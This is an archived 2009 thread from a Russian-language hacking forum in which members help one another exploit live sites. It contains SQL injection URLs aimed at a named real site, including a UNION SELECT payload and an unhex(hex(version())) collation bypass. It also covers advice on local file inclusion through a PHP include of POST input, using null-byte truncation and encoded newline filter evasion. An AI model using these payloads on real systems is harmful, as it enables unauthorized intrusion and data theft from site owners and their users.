ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
13.10.2009, 02:36
|
|
Members of Antichat - Level 5
Регистрация: 23.08.2007
Сообщений: 417
Провел на форуме:
14324684
Репутация:
3908
|
|
Сообщение от TELO
ха, пробовал, не видно)
А вот ещё вопросик. В скуле
Код:
http://trade.polesye.net/catalog.php?catid=2&id=176%20union%20select%201,2,version%28%29,4,5,6,7,8,9,10,11,12,13,14,15/*
Выводит вот такое
Код:
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
так как первый раз такое вижу, вопрос, что это и как с ним бороться?
Код:
http://trade.polesye.net/catalog.php?catid=2&id=176%20union%20select%201,2,unhex(hex(version())),4,5,6,7,8,9,10,11,12,13,14,15/*
Одни и те же вопросы.....
__________________
Feci, quod potui. Faciant meliora potentes.
|
|
|
13.10.2009, 03:02
|
|
Познающий
Регистрация: 21.01.2009
Сообщений: 98
Провел на форуме:
227123
Репутация:
122
|
|
Спасибо но....
Access denied for user 'trader'@'localhost' to database 'INFORMATION_SCHEMA'
Последний раз редактировалось TELO; 13.10.2009 в 03:06..
|
|
|
|
13.10.2009, 07:37
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696
Репутация:
2221
|
|
Сообщение от TELO
Спасибо но....
Access denied for user 'trader'@'localhost' to database 'INFORMATION_SCHEMA'
Головой умеешь думать?
Так то тебе дали рабочий пример.
Т.к. нету запроса к INFORMATION_SCHEMA.
Так что запрос который ты послал сейчас, уже твои проблемы.
Ибо вообще нету прав к INFORMATION_SCHEMA.
|
|
|
|
13.10.2009, 11:39
|
|
Leaders of Antichat - Level 4
Регистрация: 02.06.2005
Сообщений: 1,411
Провел на форуме:
10605912
Репутация:
4693
|
|
__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..
Мой блог: http://qwazar.ru/.
|
|
|
|
13.10.2009, 13:25
|
|
Участник форума
Регистрация: 09.08.2008
Сообщений: 139
Провел на форуме:
560332
Репутация:
15
|
|
Имеется следующий код на пхп:
PHP код:
if(is_file("modules/rankings/$_POST[sort].php")){include("modules/rankings/$_POST[sort].php");}
Можно ли , изменяя $_POST[sort], добиться удаленного инклуда или же инклуда локальных файлов без .php?
Ну попробую добавить нулевой байт и проверить. |
|
|
|
13.10.2009, 13:42
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696
Репутация:
2221
|
|
Сообщение от Glazz
Имеется следующий код на пхп:
PHP код:
if(is_file("modules/rankings/$_POST[sort].php")){include("modules/rankings/$_POST[sort].php");}
Можно ли , изменяя $_POST[sort], добиться удаленного инклуда или же инклуда локальных файлов без .php?
Ну попробую добавить нулевой байт и проверить. Почему бы и нет?
Просто is_file() проверяет, существует файл или нет.
Если существует > загружает.
Несуществует > Незнаю, кода дальше нету.
Удалённого несможешь.
|
|
|
|
13.10.2009, 13:41
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
удаленного нет, LFI - да.
|
|
|
|
13.10.2009, 14:12
|
|
Участник форума
Регистрация: 09.08.2008
Сообщений: 139
Провел на форуме:
560332
Репутация:
15
|
|
Как я понимаю, is_file(); не позволит инклудить удаленный файл, а вот с локальным что-то не могу разобраться. Если добавляю в конец %00, то он что-то конец не отбрасывает.
|
|
|
|
13.10.2009, 15:27
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме:
17621293
Репутация:
4915
|
|
Сообщение от Glazz
он что-то конец не отбрасывает.
Как вы изволили выразится "конец отбросит" если
magic_quotes_gpc = Off
А удалённо не получится т.к. путь никуда не деть
|
|
|
|
13.10.2009, 20:09
|
|
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696
Репутация:
2221
|
|
Сообщение от Glazz
Как я понимаю, is_file(); не позволит инклудить удаленный файл, а вот с локальным что-то не могу разобраться. Если добавляю в конец %00, то он что-то конец не отбрасывает.
is_file() лишь проверка на существование файла.
А как уже написал jokester, директорию некуда не денешь.
Возможен фильтр на % 00 ,%0 D пробуй, %0 A.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид